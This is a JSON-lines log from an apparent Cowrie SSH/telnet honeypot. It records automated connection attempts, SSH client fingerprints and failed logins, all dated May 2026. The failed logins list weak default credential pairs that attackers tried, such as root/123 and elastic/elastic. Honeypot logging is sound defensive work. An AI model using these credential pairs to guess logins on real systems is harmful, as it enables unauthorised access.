{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:14.903847Z","src_ip":"192.109.200.237","session":"27c7cdc5a6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:15.152882Z","src_ip":"192.109.200.237","session":"27c7cdc5a6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6fff38ad81","protocol":"telnet","message":"New connection: 50.6.8.71:49654 (10.17.0.5:23) [session: fe6fff38ad81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:15.526068Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:15.549598Z","src_ip":"103.153.68.219","session":"ae409c1a4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:16.236969Z","src_ip":"192.109.200.237","session":"27c7cdc5a6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:16.797667Z","src_ip":"103.153.68.219","session":"ae409c1a4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44568,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c096121aee4","protocol":"ssh","message":"New connection: 192.109.200.237:44568 (159.203.135.109:22) [session: 0c096121aee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:18.225083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:18.229418Z","src_ip":"192.109.200.237","session":"0c096121aee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:18.311910Z","src_ip":"192.109.200.237","session":"0c096121aee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:18.559258Z","src_ip":"192.109.200.237","session":"0c096121aee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:19.683696Z","src_ip":"192.109.200.237","session":"0c096121aee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55982065200806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:20.731161Z","src_ip":"50.6.8.71","session":"10d8015317f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45130,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7283910ed9a","protocol":"ssh","message":"New connection: 192.109.200.237:45130 (159.203.135.109:22) [session: e7283910ed9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:21.695757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:21.700361Z","src_ip":"192.109.200.237","session":"e7283910ed9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:21.782471Z","src_ip":"192.109.200.237","session":"e7283910ed9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:22.100788Z","src_ip":"192.109.200.237","session":"e7283910ed9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:23.186144Z","src_ip":"192.109.200.237","session":"e7283910ed9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45160,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcd755cd571","protocol":"ssh","message":"New connection: 192.109.200.237:45160 (159.203.135.109:22) [session: efcd755cd571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:25.348248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:25.353289Z","src_ip":"192.109.200.237","session":"efcd755cd571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:25.435593Z","src_ip":"192.109.200.237","session":"efcd755cd571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:25.682984Z","src_ip":"192.109.200.237","session":"efcd755cd571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:26.768119Z","src_ip":"192.109.200.237","session":"efcd755cd571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40904,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac59c0ef01f","protocol":"telnet","message":"New connection: 50.6.8.71:40904 (10.17.0.5:23) [session: bac59c0ef01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:28.421157Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45180,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a526325e4d","protocol":"ssh","message":"New connection: 192.109.200.237:45180 (159.203.135.109:22) [session: 58a526325e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:28.884476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:28.889985Z","src_ip":"192.109.200.237","session":"58a526325e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:28.972659Z","src_ip":"192.109.200.237","session":"58a526325e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:29.220562Z","src_ip":"192.109.200.237","session":"58a526325e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:30.305537Z","src_ip":"192.109.200.237","session":"58a526325e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.235.245.103","src_port":33759,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a2a299fa2a","protocol":"telnet","message":"New connection: 122.235.245.103:33759 (10.17.0.5:23) [session: 56a2a299fa2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:30.995249Z"}
{"eventid":"cowrie.session.closed","duration":35.31442451477051,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:31.291964Z","src_ip":"50.6.8.71","session":"168b8350af1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":53666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2494ddc796c","protocol":"ssh","message":"New connection: 103.75.183.219:53666 (159.203.135.109:22) [session: a2494ddc796c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:31.510783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:31.515677Z","src_ip":"103.75.183.219","session":"a2494ddc796c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:31.760078Z","src_ip":"103.75.183.219","session":"a2494ddc796c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33728,"dst_ip":"159.203.135.109","dst_port":22,"session":"d21001913b90","protocol":"ssh","message":"New connection: 192.109.200.237:33728 (159.203.135.109:22) [session: d21001913b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.340008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.344876Z","src_ip":"192.109.200.237","session":"d21001913b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.427360Z","src_ip":"192.109.200.237","session":"d21001913b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.965288400650024,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.457459Z","src_ip":"50.6.8.71","session":"f24ec82915fd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"474747","message":"login attempt [root/474747] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.494247Z","src_ip":"103.75.183.219","session":"a2494ddc796c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:32.781247Z","src_ip":"192.109.200.237","session":"d21001913b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:33.742325Z","src_ip":"103.75.183.219","session":"a2494ddc796c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:33.866065Z","src_ip":"192.109.200.237","session":"d21001913b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33734,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c0a0bc9f4f","protocol":"ssh","message":"New connection: 192.109.200.237:33734 (159.203.135.109:22) [session: 37c0a0bc9f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:36.080855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:36.086359Z","src_ip":"192.109.200.237","session":"37c0a0bc9f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:36.168941Z","src_ip":"192.109.200.237","session":"37c0a0bc9f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:44:36.417082Z","src_ip":"192.109.200.237","session":"37c0a0bc9f4f","protocol":"ssh"}
